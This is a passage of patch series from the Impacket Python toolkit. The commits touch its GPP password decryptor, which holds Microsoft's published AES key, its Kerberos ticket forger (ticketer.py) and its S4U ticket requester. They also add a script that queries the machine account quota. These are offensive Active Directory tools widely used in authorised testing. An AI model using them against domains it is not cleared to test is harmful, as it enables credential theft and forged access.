read_or_empty(property.parentNode, "changed")), ], - 'file': filename + "file": filename }) elif xmltype == "Groups": for topnode in root.childNodes: @@ -117,15 +113,15 @@ def parse_xmlfile_content(self, filename, filecontent): for task in task_nodes: for property in task.getElementsByTagName("Properties"): results.append({ - 'tagName': xmltype, - 'attributes': [ - ('newName', read_or_empty(property, 'newName')), - ('userName', read_or_empty(property, 'userName')), - ('cpassword', read_or_empty(property, 'cpassword')), - ('password', self.decrypt_password(read_or_empty(property, 'cpassword'))), - ('changed', read_or_empty(property.parentNode, 'changed')), + "tagName": xmltype, + "attributes": [ + ("newName", read_or_empty(property, "newName")), + ("userName", read_or_empty(property, "userName")), + ("cpassword", read_or_empty(property, "cpassword")), + ("password", self.decrypt_password(read_or_empty(property, "cpassword"))), + ("changed", read_or_empty(property.parentNode, "changed")), ], - 'file': filename + "file": filename }) else: for topnode in root.childNodes: @@ -133,15 +129,15 @@ def parse_xmlfile_content(self, filename, filecontent): for task in task_nodes: for property in task.getElementsByTagName("Properties"): results.append({ - 'tagName': xmltype, - 'attributes': [ - ('newName', read_or_empty(property, 'newName')), - ('userName', read_or_empty(property, 'userName')), - ('cpassword', read_or_empty(property, 'cpassword')), - ('password', self.decrypt_password(read_or_empty(property, 'cpassword'))), - ('changed', read_or_empty(property.parentNode, 'changed')), + "tagName": xmltype, + "attributes": [ + ("newName", read_or_empty(property, "newName")), + ("userName", read_or_empty(property, "userName")), + ("cpassword", read_or_empty(property, "cpassword")), + ("password", self.decrypt_password(read_or_empty(property, "cpassword"))), + ("changed", read_or_empty(property.parentNode, "changed")), ], - 'file': filename + "file": filename }) except Exception as e: @@ -152,8 +148,8 @@ def parse_xmlfile_content(self, filename, filecontent): def parse(self, filename): results = [] - filename = filename.replace('/', '\\') - fh = BytesIO() + filename = filename.replace("/", "\\") + fh = io.BytesIO() try: # opening the files in streams instead of mounting shares allows for running the script from # unprivileged containers @@ -167,7 +163,7 @@ def parse(self, filename): encoding = chardet.detect(output)["encoding"] if encoding is not None: filecontent = output.decode(encoding).rstrip() - if 'cpassword' in filecontent: + if "cpassword" in filecontent: logging.debug(filecontent) results = self.parse_xmlfile_content(filename, filecontent) fh.close() @@ -182,20 +178,20 @@ def decrypt_password(self, pw_enc_b64): if len(pw_enc_b64) != 0: # Thank you Microsoft for publishing the key :) # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be - key = b'\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b' + key = b"\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b" # Thank you Microsoft for using a fixed IV :) - iv = b'\x00' * 16 + iv = b"\x00" * 16 pad = len(pw_enc_b64) % 4 if pad == 1: pw_enc_b64 = pw_enc_b64[:-1] elif pad == 2 or pad == 3: - pw_enc_b64 += '=' * (4 - pad) + pw_enc_b64 += "=" * (4 - pad) pw_enc = base64.b64decode(pw_enc_b64) ctx = AES.new(key, AES.MODE_CBC, iv) pw_dec = unpad(ctx.decrypt(pw_enc), ctx.block_size) - return pw_dec.decode('utf-16-le') + return pw_dec.decode("utf-16-le") else: - logging.debug("cpassword is empty, cannot decrypt anything") + logging.debug("cpassword is empty, cannot decrypt anything.") return "" def show(self, results): @@ -209,37 +205,26 @@ def show(self, results): def parse_args(): - parser = argparse.ArgumentParser(add_help=True, - description='Group Policy Preferences passwords finder and decryptor') - parser.add_argument('target', action='store', help='[[domain/]username[:password]@] or LOCAL' - ' (if you want to parse local files)') + parser = argparse.ArgumentParser(add_help=True, description="Group Policy Preferences passwords finder and decryptor.") + parser.add_argument("target", action="store", help="[[domain/]username[:password]@] or LOCAL (if you want to parse local files)") parser.add_argument("-xmlfile", type=str, required=False, default=None, help="Group Policy Preferences XML files to parse") parser.add_argument("-share", type=str, required=False, default="SYSVOL", help="SMB Share") parser.add_argument("-base-dir", type=str, required=False, default="/", help="Directory to search in (Default: /)") - parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') - parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + parser.add_argument("-ts", action="store_true", help="Adds timestamp to every logging output") + parser.add_argument("-debug", action="store_true", help="Turn DEBUG output ON") group = parser.add_argument_group('authentication') - group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') - group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') - group.add_argument('-k', action="store_true", - help='Use Kerberos authentication. Grabs credentials from ccache file ' - '(KRB5CCNAME) based on target parameters. If valid credentials ' - 'cannot be found, it will use the ones specified in the command ' - 'line') - group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication ' - '(128 or 256 bits)') - - group = parser.add_argument_group('connection') - - group.add_argument('-dc-ip', action='store', metavar="ip address", - help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in ' - 'the target parameter') - group.add_argument('-target-ip', action='store', metavar="ip address", - help='IP Address of the target machine. If omitted it will use whatever was specified as target. ' - 'This is useful when target is the NetBIOS name and you cannot resolve it') - group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port", - help='Destination port to connect to SMB Server') + group.add_argument("-hashes", action="store", metavar="LMHASH:NTHASH", help="NTLM hashes, format is LMHASH:NTHASH") + group.add_argument("-no-pass", action="store_true", help="Don't ask for password (useful for -k)") + group.add_argument("-k", action="store_true", help="Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line") + group.add_argument("-aesKey", action="store", metavar="hex key", help="AES key to use for Kerberos Authentication (128 or 256 bits)") + + group = parser.add_argument_group("connection") + + group.add_argument("-dc-ip", action="store", metavar="ip address", help="IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter") + group.add_argument("-target-ip", action="store", metavar="ip address", help="IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name and you cannot resolve it") + group.add_argument("-port", choices=["139", "445"], nargs="?", default="445", metavar="destination port", help="Destination port to connect to SMB Server") + if len(sys.argv) == 1: parser.print_help() sys.exit(1) @@ -254,21 +239,19 @@ def parse_target(args): args.target_ip = address if domain is None: - domain = '' + domain = "" - if password == '' and username != '' and args.hashes is None and args.no_pass is False and args.aesKey is None: + if len(password) == 0 and len(username) != 0 and args.hashes is None and args.no_pass is False and args.aesKey is None: from getpass import getpass - password = getpass("Password:") if args.aesKey is not None: args.k = True if args.hashes is not None: - lmhash, nthash = args.hashes.split(':') + lmhash, nthash = args.hashes.split(":") else: - lmhash = '' - nthash = '' + lmhash, nthash = "", "" return domain, username, password, address, lmhash, nthash @@ -282,7 +265,7 @@ def init_logger(args): logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) - logging.getLogger('impacket.smbserver').setLevel(logging.ERROR) + logging.getLogger("impacket.smbserver").setLevel(logging.ERROR) def init_smb_session(args, domain, username, password, address, lmhash, nthash): @@ -307,23 +290,24 @@ def init_smb_session(args, domain, username, password, address, lmhash, nthash): return smbClient -def main(): +if __name__ == '__main__': print(version.BANNER) args = parse_args() init_logger(args) + if args.target.upper() == "LOCAL": if args.xmlfile is not None: # Only given decrypt XML file if os.path.exists(args.xmlfile): g = GetGPPasswords(None, None) logging.debug("Opening %s XML file for reading ..." % args.xmlfile) - f = open(args.xmlfile, 'r') - rawdata = ''.join(f.readlines()) + f = open(args.xmlfile, "r") + rawdata = "".join(f.readlines()) f.close() results = g.parse_xmlfile_content(args.xmlfile, rawdata) g.show(results) else: - print('[!] File does not exists or is not readable.') + print("[!] File does not exists or is not readable.") else: domain, username, password, address, lmhash, nthash = parse_target(args) try: @@ -335,7 +319,3 @@ def main(): if logging.getLogger().level == logging.DEBUG: traceback.print_exc() logging.error(str(e)) - - -if __name__ == '__main__': - main() From e6fd0a9ec8ea7c4ca75e7a8d2fefdb310fba538f Mon Sep 17 00:00:00 2001 From: Dramelac Date: Fri, 25 Feb 2022 16:42:38 +0100 Subject: [PATCH 083/152] Fix ticketer duration to support default 10 hours tickets --- examples/ticketer.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/examples/ticketer.py b/examples/ticketer.py index c7d8422fa9..4b5db94d06 100755 --- a/examples/ticketer.py +++ b/examples/ticketer.py @@ -403,7 +403,7 @@ def customizeTicket(self, kdcRep, pacInfos): encTicketPart['authtime'] = KerberosTime.to_asn1(datetime.datetime.utcnow()) encTicketPart['starttime'] = KerberosTime.to_asn1(datetime.datetime.utcnow()) # Let's extend the ticket's validity a lil bit - ticketDuration = datetime.datetime.utcnow() + datetime.timedelta(days=int(self.__options.duration)) + ticketDuration = datetime.datetime.utcnow() + datetime.timedelta(hours=int(self.__options.duration)) encTicketPart['endtime'] = KerberosTime.to_asn1(ticketDuration) encTicketPart['renew-till'] = KerberosTime.to_asn1(ticketDuration) encTicketPart['authorization-data'] = noValue @@ -745,8 +745,8 @@ def run(self): parser.add_argument('-user-id', action="store", default = '500', help='user id for the user the ticket will be ' 'created for (default = 500)') parser.add_argument('-extra-sid', action="store", help='Comma separated list of ExtraSids to be included inside the ticket\'s PAC') - parser.add_argument('-duration', action="store", default = '3650', help='Amount of days till the ticket expires ' - '(default = 365*10)') + parser.add_argument('-duration', action="store", default = '87600', help='Amount of hours till the ticket expires ' + '(default = 24*365*10)') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') From fd76535f59b6141c4d2b906e6d909df246649233 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Fri, 25 Feb 2022 17:04:55 +0100 Subject: [PATCH 084/152] Reverting change to pac.py that was failing ticketer.py --- impacket/krb5/pac.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/impacket/krb5/pac.py b/impacket/krb5/pac.py index 5e9a42cc3b..cc778e9c01 100644 --- a/impacket/krb5/pac.py +++ b/impacket/krb5/pac.py @@ -173,9 +173,9 @@ class NTLM_SUPPLEMENTAL_CREDENTIAL(NDRSTRUCT): ) # 2.7 PAC_CLIENT_INFO -class PAC_CLIENT_INFO(NDRSTRUCT): +class PAC_CLIENT_INFO(Structure): structure = ( - ('ClientId', FILETIME), + ('ClientId', ' Date: Fri, 25 Feb 2022 17:06:04 +0100 Subject: [PATCH 085/152] Reverting change to pac.py (forgot smth) --- impacket/krb5/pac.py | 1 + 1 file changed, 1 insertion(+) diff --git a/impacket/krb5/pac.py b/impacket/krb5/pac.py index cc778e9c01..f01bc47f85 100644 --- a/impacket/krb5/pac.py +++ b/impacket/krb5/pac.py @@ -177,6 +177,7 @@ class PAC_CLIENT_INFO(Structure): structure = ( ('ClientId', ' Date: Sat, 26 Feb 2022 14:59:07 +0800 Subject: [PATCH 086/152] fixed -self and -spn check --- examples/getST.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/examples/getST.py b/examples/getST.py index a97e5429af..b5dda61ddd 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -452,7 +452,7 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) reqBody['kdc-options'] = constants.encodeFlags(opts) - if self.__options.spn is not None: + if self.__options.no_s4u2proxy is not None and self.__options.spn is not None: logging.info("When doing S4U2self only, argument -spn is ignored") serverName = Principal(self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value) From 1c66bc3d8d2c62d60ea7d93cc82568f8bd12036c Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Sat, 26 Feb 2022 15:00:48 +0800 Subject: [PATCH 087/152] Update getST.py --- examples/getST.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/examples/getST.py b/examples/getST.py index b5dda61ddd..af6e1c84b8 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -452,7 +452,7 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) reqBody['kdc-options'] = constants.encodeFlags(opts) - if self.__options.no_s4u2proxy is not None and self.__options.spn is not None: + if options.no_s4u2proxy is not None and self.__options.spn is not None: logging.info("When doing S4U2self only, argument -spn is ignored") serverName = Principal(self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value) From be585214c4e0e96a9018a394f66a8cefa0edb889 Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Sat, 26 Feb 2022 15:01:50 +0800 Subject: [PATCH 088/152] Update getST.py --- examples/getST.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/examples/getST.py b/examples/getST.py index af6e1c84b8..2d31b0bfe3 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -452,7 +452,7 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) reqBody['kdc-options'] = constants.encodeFlags(opts) - if options.no_s4u2proxy is not None and self.__options.spn is not None: + if self.__options.self is not None and self.__options.spn is not None: logging.info("When doing S4U2self only, argument -spn is ignored") serverName = Principal(self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value) From a92f29604a8586d5722eac45511cb2a1d912cc21 Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Sat, 26 Feb 2022 15:05:13 +0800 Subject: [PATCH 089/152] Update getST.py --- examples/getST.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/examples/getST.py b/examples/getST.py index 2d31b0bfe3..00dfddb439 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -452,7 +452,7 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) reqBody['kdc-options'] = constants.encodeFlags(opts) - if self.__options.self is not None and self.__options.spn is not None: + if self.__no_s4u2proxy is not None and self.__options.spn is not None and self.: logging.info("When doing S4U2self only, argument -spn is ignored") serverName = Principal(self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value) From b2e2237a5478939229230fa6f95c44383ea4521f Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Sat, 26 Feb 2022 15:05:50 +0800 Subject: [PATCH 090/152] Update getST.py --- examples/getST.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/examples/getST.py b/examples/getST.py index 00dfddb439..13d7cae45c 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -452,7 +452,7 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) reqBody['kdc-options'] = constants.encodeFlags(opts) - if self.__no_s4u2proxy is not None and self.__options.spn is not None and self.: + if self.__no_s4u2proxy is not None and self.__options.spn is not None: logging.info("When doing S4U2self only, argument -spn is ignored") serverName = Principal(self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value) From 8759e6c06596c0772965007ab3650b1da91649f3 Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Sat, 26 Feb 2022 16:04:29 +0800 Subject: [PATCH 091/152] fixed -spn and -self check --- examples/getST.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/examples/getST.py b/examples/getST.py index 13d7cae45c..e53f640d43 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -452,7 +452,7 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) reqBody['kdc-options'] = constants.encodeFlags(opts) - if self.__no_s4u2proxy is not None and self.__options.spn is not None: + if self.__no_s4u2proxy and self.__options.spn is not None: logging.info("When doing S4U2self only, argument -spn is ignored") serverName = Principal(self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value) From 5ea85079ea4958075965cb351aa8f9f344589ae8 Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Mon, 7 Mar 2022 15:51:04 +0800 Subject: [PATCH 092/152] fixed error fixed error: local variable 'kerberoast_hash' referenced before assignment --- examples/describeTicket.py | 1 + 1 file changed, 1 insertion(+) diff --git a/examples/describeTicket.py b/examples/describeTicket.py index 3b639a8cd1..43a35df09f 100755 --- a/examples/describeTicket.py +++ b/examples/describeTicket.py @@ -107,6 +107,7 @@ def parse_ccache(args): if spn.split('/')[0] != 'krbtgt': logging.debug("Attempting to create Kerberoast hash") + kerberoast_hash = None # code adapted from Rubeus's DisplayTicket() (https://github.com/GhostPack/Rubeus/blob/3620814cd2c5f05e87cddd50211197bd932fec51/Rubeus/lib/LSA.cs) # if this isn't a TGT, try to display a Kerberoastable hash if keyType != "rc4_hmac" and keyType != "aes256_cts_hmac_sha1_96": From 120a52018770730dc4733f18617821cff98a7371 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Tue, 8 Mar 2022 09:55:34 +0100 Subject: [PATCH 093/152] Handling missing kvno --- examples/describeTicket.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/examples/describeTicket.py b/examples/describeTicket.py index 43a35df09f..b4750f624c 100755 --- a/examples/describeTicket.py +++ b/examples/describeTicket.py @@ -133,7 +133,9 @@ def parse_ccache(args): logging.info(" %-28s: %s" % ("Service Name", spn)) logging.info(" %-28s: %s" % ("Service Realm", decodedTicket['ticket']['realm'])) logging.info(" %-28s: %s (etype %d)" % ("Encryption type", constants.EncryptionTypes(etype).name, etype)) - logging.info(" %-28s: %d" % ("Key version number (kvno)", decodedTicket['ticket']['enc-part']['kvno'])) + if not decodedTicket['ticket']['enc-part']['kvno'].isNoValue(): + logging.debug("No kvno in ticket, skipping") + logging.info(" %-28s: %d" % ("Key version number (kvno)", decodedTicket['ticket']['enc-part']['kvno'])) logging.debug("Handling Kerberos keys") ekeys = generate_kerberos_keys(args) From 6743ee837c231b50b33a06426be2a844aa33d98f Mon Sep 17 00:00:00 2001 From: Shutdown Date: Wed, 9 Mar 2022 17:10:52 +0100 Subject: [PATCH 094/152] Fixing debug message --- examples/describeTicket.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/examples/describeTicket.py b/examples/describeTicket.py index b4750f624c..5e062a1b54 100755 --- a/examples/describeTicket.py +++ b/examples/describeTicket.py @@ -393,7 +393,7 @@ def PACparseExtraSids(sid_and_attributes_array): parsed_tuPAC.append({"DelegationInfo": parsed_data}) else: - logger.debug("Unsupported PAC structure: %s. Please raise an issue or PR" % infoBuffer['ulType']) + logging.debug("Unsupported PAC structure: %s. Please raise an issue or PR" % infoBuffer['ulType']) buff = buff[len(infoBuffer):] return parsed_tuPAC From 094fb516cc8fa46ce678fbee57ad7e1a103d661f Mon Sep 17 00:00:00 2001 From: TahiTi Date: Wed, 16 Mar 2022 17:26:42 +0100 Subject: [PATCH 095/152] added machineAccountQuota.py --- examples/machineAccountQuota.py | 173 ++++++++++++++++++++++++++++++++ 1 file changed, 173 insertions(+) create mode 100644 examples/machineAccountQuota.py diff --git a/examples/machineAccountQuota.py b/examples/machineAccountQuota.py new file mode 100644 index 0000000000..75a4065d77 --- /dev/null +++ b/examples/machineAccountQuota.py @@ -0,0 +1,173 @@ +#!/usr/bin/env python3 +#Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. + +# Description: +# This module will try to get the Machine Account Quota from the domain attribute ms-DS-MachineAccountQuota. +# If the value is superior to 0, it opens new paths to enumerate further the target domain. +# +# Author: +# TahiTi +# + +import argparse +import logging +import sys + +from impacket import version +from impacket.examples import logger +from impacket.examples.utils import parse_credentials +from impacket.ldap import ldap, ldapasn1 +from impacket.smbconnection import SMBConnection + +class GetMachineAccountQuota: + def __init__(self, username, password, domain, cmdLineOptions): + self.options = cmdLineOptions + self.__username = username + self.__password = password + self.__domain = domain + self.__lmhash = '' + self.__nthash = '' + self.__aesKey = cmdLineOptions.aesKey + self.__doKerberos = cmdLineOptions.k + self.__target = None + self.__kdcHost = cmdLineOptions.dc_ip + if cmdLineOptions.hashes is not None: + self.__lmhash, self.__nthash = cmdLineOptions.hashes.split(':') + + # Create the baseDN + domainParts = self.__domain.split('.') + self.baseDN = '' + for i in domainParts: + self.baseDN += 'dc=%s,' % i + # Remove last ',' + self.baseDN = self.baseDN[:-1] + + def getMachineName(self): + if self.__kdcHost is not None: + s = SMBConnection(self.__kdcHost, self.__kdcHost) + else: + s = SMBConnection(self.__domain, self.__domain) + try: + s.login('', '') + except Exception: + if s.getServerName() == '': + raise Exception('Error while anonymous logging into %s') + else: + s.logoff() + return s.getServerName() + + def run(self): + if self.__doKerberos: + self.__target = self.getMachineName() + else: + if self.__kdcHost is not None: + self.__target = self.__kdcHost + else: + self.__target = self.__domain + + # Connect to LDAP + try: + ldapConnection = ldap.LDAPConnection('ldap://%s' % self.__target, self.baseDN, self.__kdcHost) + if self.__doKerberos is not True: + ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) + else: + ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, + self.__nthash, + self.__aesKey, kdcHost=self.__kdcHost) + except ldap.LDAPSessionError as e: + if str(e).find('strongerAuthRequired') >= 0: + # We need to try SSL + ldapConnection = ldap.LDAPConnection('ldaps://%s' % self.__target, self.baseDN, self.__kdcHost) + if self.__doKerberos is not True: + ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) + else: + ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, + self.__nthash, + self.__aesKey, kdcHost=self.__kdcHost) + else: + raise + + logging.info('Querying %s for information about domain.' % self.__target) + + # Building the search filter + searchFilter = "(objectClass=*)" + attributes = ['ms-DS-MachineAccountQuota'] + + try: + result = ldapConnection.search(searchFilter=searchFilter, attributes=attributes) + for item in result: + if isinstance(item, ldapasn1.SearchResultEntry) is not True: + continue + machineAccountQuota = 0 + for attribute in item['attributes']: + if str(attribute['type']) == 'ms-DS-MachineAccountQuota': + machineAccountQuota = attribute['vals'][0] + logging.info('MachineAccountQuota: %d' % machineAccountQuota) + + except ldap.LDAPSearchError: + raise + + ldapConnection.close() + +if __name__ == '__main__': + print(version.BANNER) + + parser = argparse.ArgumentParser(add_help=True, description='Retrieve the machine account quota value from the domain.') + + parser.add_argument('target', action='store', help='domain/username[:password]') + parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + + group = parser.add_argument_group('authentication') + + group.add_argument('-hashes', action='store', metavar='LMHASH:NTHASH', help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action='store_true', help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action='store_true', + help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' + 'ones specified in the command line') + group.add_argument('-aesKey', action='store', metavar='hex key', help='AES key to use for Kerberos Authentication ' + '(128 or 256 bits)') + group.add_argument('-dc-ip', action='store', metavar='ip address', help='IP Address of the domain controller. If ' + 'omitted it use the domain part (FQDN) specified in the target parameter') + + if len(sys.argv) == 1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + # Init the example's logger theme + logger.init(options.ts) + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + + domain, username, password = parse_credentials(options.target) + + if domain is None: + domain = '' + + if options.aesKey is not None: + options.k = True + + if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: + from getpass import getpass + + password = getpass('Password:') + + try: + execute = GetMachineAccountQuota(username, password, domain, options) + execute.run() + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + + traceback.print_exc() + print((str(e))) From 05fd7320f3b7c2866facc068d9008b81b36aa645 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Mon, 21 Mar 2022 11:50:23 +0100 Subject: [PATCH 096/152] Fixing SID and UAC flags parsing --- examples/describeTicket.py | 127 +++++++++++++++++++++++-------------- 1 file changed, 79 insertions(+), 48 deletions(-) diff --git a/examples/describeTicket.py b/examples/describeTicket.py index 5e062a1b54..ce25ee2db9 100755 --- a/examples/describeTicket.py +++ b/examples/describeTicket.py @@ -28,7 +28,7 @@ from pyasn1.codec.der import decoder from impacket import version -from impacket.dcerpc.v5.dtypes import FILETIME +from impacket.dcerpc.v5.dtypes import FILETIME, PRPC_SID from impacket.dcerpc.v5.rpcrt import TypeSerialization1 from impacket.examples import logger from impacket.krb5 import constants, pac @@ -37,12 +37,45 @@ from impacket.krb5.constants import ChecksumTypes from impacket.krb5.crypto import Key, _enctype_table, InvalidChecksum, string_to_key +PSID = PRPC_SID class User_Flags(Enum): LOGON_EXTRA_SIDS = 0x0020 LOGON_RESOURCE_GROUPS = 0x0200 -class UserAccountControl_Flags(Enum): +# 2.2.1.10 SE_GROUP Attributes +class SE_GROUP_Attributes(Enum): + SE_GROUP_MANDATORY = 0x00000001 + SE_GROUP_ENABLED_BY_DEFAULT = 0x00000002 + SE_GROUP_ENABLED = 0x00000004 + +# 2.2.1.12 USER_ACCOUNT Codes +class USER_ACCOUNT_Codes(Enum): + USER_ACCOUNT_DISABLED = 0x00000001 + USER_HOME_DIRECTORY_REQUIRED = 0x00000002 + USER_PASSWORD_NOT_REQUIRED = 0x00000004 + USER_TEMP_DUPLICATE_ACCOUNT = 0x00000008 + USER_NORMAL_ACCOUNT = 0x00000010 + USER_MNS_LOGON_ACCOUNT = 0x00000020 + USER_INTERDOMAIN_TRUST_ACCOUNT = 0x00000040 + USER_WORKSTATION_TRUST_ACCOUNT = 0x00000080 + USER_SERVER_TRUST_ACCOUNT = 0x00000100 + USER_DONT_EXPIRE_PASSWORD = 0x00000200 + USER_ACCOUNT_AUTO_LOCKED = 0x00000400 + USER_ENCRYPTED_TEXT_PASSWORD_ALLOWED = 0x00000800 + USER_SMARTCARD_REQUIRED = 0x00001000 + USER_TRUSTED_FOR_DELEGATION = 0x00002000 + USER_NOT_DELEGATED = 0x00004000 + USER_USE_DES_KEY_ONLY = 0x00008000 + USER_DONT_REQUIRE_PREAUTH = 0x00010000 + USER_PASSWORD_EXPIRED = 0x00020000 + USER_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION = 0x00040000 + USER_NO_AUTH_DATA_REQUIRED = 0x00080000 + USER_PARTIAL_SECRETS_ACCOUNT = 0x00100000 + USER_USE_AES_KEYS = 0x00200000 + +# 2.2.1.13 UF_FLAG Codes +class UF_FLAG_Codes(Enum): UF_SCRIPT = 0x00000001 UF_ACCOUNTDISABLE = 0x00000002 UF_HOMEDIR_REQUIRED = 0x00000008 @@ -189,11 +222,6 @@ def parse_ccache(args): def parse_pac(pacType, args): - - def format_sid(data): - return "S-%d-%d-%d-%s" % (data['Revision'], data['IdentifierAuthority'], data['SubAuthorityCount'], '-'.join([str(e) for e in data['SubAuthority']])) - - def PACparseFILETIME(data): # FILETIME structure (minwinbase.h) # Contains a 64-bit value representing the number of 100-nanosecond intervals since January 1, 1601 (UTC). @@ -220,27 +248,6 @@ def PACparseGroupIds(data): return groups - def PACparseSID(sid): - if type(sid) == dict: - str_sid = format_sid({ - 'Revision': sid['Revision'], - 'SubAuthorityCount': sid['SubAuthorityCount'], - 'IdentifierAuthority': int(binascii.hexlify(sid['IdentifierAuthority']), 16), - 'SubAuthority': sid['SubAuthority'] - }) - return str_sid - else: - return '' - - - def PACparseExtraSids(sid_and_attributes_array): - _ExtraSids = [] - for sid in sid_and_attributes_array['Data']: - _d = { 'Attributes': sid['Attributes'], 'Sid': PACparseSID(sid['Sid']) } - _ExtraSids.append(_d['Sid']) - return _ExtraSids - - parsed_tuPAC = [] buff = pacType['Buffers'] @@ -260,8 +267,8 @@ def PACparseExtraSids(sid_and_attributes_array): parsed_data['Password Last Set'] = PACparseFILETIME(kerbdata['PasswordLastSet']) parsed_data['Password Can Change'] = PACparseFILETIME(kerbdata['PasswordCanChange']) parsed_data['Password Must Change'] = PACparseFILETIME(kerbdata['PasswordMustChange']) - parsed_data['LastSuccessfulILogon'] = PACparseFILETIME(kerbdata.fields['LastSuccessfulILogon']) - parsed_data['LastFailedILogon'] = PACparseFILETIME(kerbdata.fields['LastFailedILogon']) + parsed_data['LastSuccessfulILogon'] = PACparseFILETIME(kerbdata['LastSuccessfulILogon']) + parsed_data['LastFailedILogon'] = PACparseFILETIME(kerbdata['LastFailedILogon']) parsed_data['FailedILogonCount'] = kerbdata['FailedILogonCount'] parsed_data['Account Name'] = kerbdata['EffectiveName'] parsed_data['Full Name'] = kerbdata['FullName'] @@ -275,6 +282,8 @@ def PACparseExtraSids(sid_and_attributes_array): parsed_data['Group RID'] = kerbdata['PrimaryGroupId'] parsed_data['Group Count'] = kerbdata['GroupCount'] parsed_data['Groups'] = ', '.join([str(gid['RelativeId']) for gid in PACparseGroupIds(kerbdata['GroupIds'])]) + + # UserFlags parsing UserFlags = kerbdata['UserFlags'] User_Flags_Flags = [] for flag in User_Flags: @@ -284,16 +293,40 @@ def PACparseExtraSids(sid_and_attributes_array): parsed_data['User Session Key'] = hexlify(kerbdata['UserSessionKey']).decode('utf-8') parsed_data['Logon Server'] = kerbdata['LogonServer'] parsed_data['Logon Domain Name'] = kerbdata['LogonDomainName'] - parsed_data['Logon Domain 